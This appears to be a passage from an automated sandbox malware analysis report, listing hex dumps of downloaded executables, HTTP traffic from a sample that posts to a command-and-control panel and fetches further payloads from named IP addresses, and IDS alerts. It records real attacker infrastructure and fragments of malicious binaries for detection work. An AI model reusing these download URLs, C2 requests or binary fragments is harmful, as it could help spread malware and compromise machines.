fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 67 7b 5b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 ad 2a 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 3c 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 3c 64 01 00 00 40 0d 00 00 66 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 5a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:59 GMTContent-Type: application/octet-streamContent-Length: 1812480Last-Modified: Fri, 13 Dec 2024 00:11:42 GMTConnection: keep-aliveETag: "675b7bbe-1ba800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 bd b6 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 7a 6d 67 6c 61 6e 00 10 1a 00 00 30 4f 00 00 04 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 72 79 63 66 72 72 7a 00 10 00 00 00 40 69 00 00 04 00 00 00 82 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 69 00 00 22 00 00 00 86 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 00:52:05 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=86Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 02
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 00:52:07 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=85Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: global traffic	HTTP traffic detected: GET /detct0r HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/hell911/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014583001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014584001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014585001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014586001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014587001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014588001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 35 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014589001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 80.82.65.70 80.82.65.70

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49809 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49839 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49849 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49862 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49858 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49863 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49869 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49870 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49878 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49880 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49887 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49888 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49898 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49896 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49906 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49915 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49919 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49941 -> 104.21.79.7:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F5E0C0 recv,recv,recv,recv,

0_2_00F5E0C0

Source: global traffic	HTTP traffic detected: GET /detct0r HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/hell911/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
